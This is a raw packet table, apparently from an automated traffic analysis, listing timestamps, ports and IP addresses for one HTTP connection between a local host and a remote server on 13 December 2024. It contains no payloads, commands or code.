Dec 13, 2024 08:18:56.637800932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.637898922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.637913942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.637929916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.637934923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.637948990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.637962103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.638673067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638704062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638720036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638721943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.638751030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.638900995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638964891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638978958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.638993979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639000893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.639025927 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.639625072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639693022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639709949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639731884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.639843941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639859915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639873981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639883995 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.639894009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.639909983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.640666962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640716076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.640727997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640743971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640779018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.640834093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640850067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640865088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640881062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.640883923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.640940905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.759541988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759592056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759612083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759696960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.759710073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759730101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759744883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.759788036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759804964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759825945 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.759910107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759927988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759952068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.759958029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759974003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759991884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.759994030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.760039091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.760245085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760266066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760312080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.760668993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760715008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760732889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760750055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.760848045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760865927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.760890007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.760973930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761013985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.761029005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761198997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761239052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.761352062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761368036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761400938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.761663914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761681080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761699915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761719942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.761739969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.761778116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.761974096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762083054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762099981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762120008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.762192011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762208939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762224913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.762227058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762245893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762267113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.762341022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762356997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762375116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.762375116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762419939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.762851954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762923002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762939930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.762959957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.763044119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763071060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763087988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763087988 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.763108015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763124943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.763304949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763334036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763344049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.763354063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763417959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.763838053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763916016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763933897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.763950109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764066935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764084101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764100075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764103889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764118910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764130116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764241934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764270067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764276981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764288902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764333963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764761925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764816046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764832973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764863968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764931917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.764969110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.764991999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765008926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765026093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765045881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.765209913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765249968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.765261889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765279055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765332937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.765701056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765786886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765825033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.765866041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765883923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765921116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.765949965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.765986919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766028881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.766067028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766197920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766215086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766232014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766242027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.766282082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.766700029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766762972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766778946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766799927 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.766921997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766938925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766957045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.766958952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.766974926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767035961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.767137051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767174006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.767184973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767203093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767256021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.767671108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767767906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767785072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767802000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.767920017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767937899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767956018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767956972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.767975092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.767996073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780066013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780137062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780196905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780252934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780271053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780282974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780406952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780424118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780441999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780448914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780467987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780479908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780667067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780685902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780703068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780812025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780831099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780848026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780848980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.780864954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.780885935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.824390888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.951960087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.951984882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952050924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952068090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952275038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952292919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952308893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952318907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952332020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952353001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952423096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952439070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952459097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952467918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952511072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952584028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952704906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952722073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952745914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952873945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952892065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952908039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.952915907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.952940941 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953035116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953051090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953087091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953181982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953237057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953253984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953269005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953278065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953279018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953356981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953535080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953589916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953685045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953701973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953751087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953847885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953865051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953881025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953900099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.953907013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.953933001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.954170942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954191923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954211950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954233885 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.954652071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954709053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.954832077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954854965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954870939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954886913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.954904079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.954929113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955018997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955037117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955065966 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955172062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955188036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955208063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955233097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955655098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955672026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955688000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955724001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955743074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955809116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955826044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955842972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955859900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.955877066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955910921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.955962896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956087112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956104040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956134081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.956463099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956479073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956495047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956517935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.956541061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.956613064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956634045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956650972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956670046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956672907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.956707001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.956916094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956933022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956948042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.956969976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.957369089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957420111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.957536936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957554102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957592964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.957705021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957729101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957745075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957760096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957771063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.957777977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957798004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957798004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.957817078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.957833052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.958250999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958316088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.958343029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958359003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958405972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.958491087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958511114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958528996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958547115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.958554029 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.958605051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.959259033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959275961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959294081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959326029 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.959825039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959842920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959861994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.959877014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.959897995 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.959983110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960000038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960016012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960032940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960036039 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.960066080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.960148096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960170031 CET	80	49726	185.81.68.147	192.168.2.11
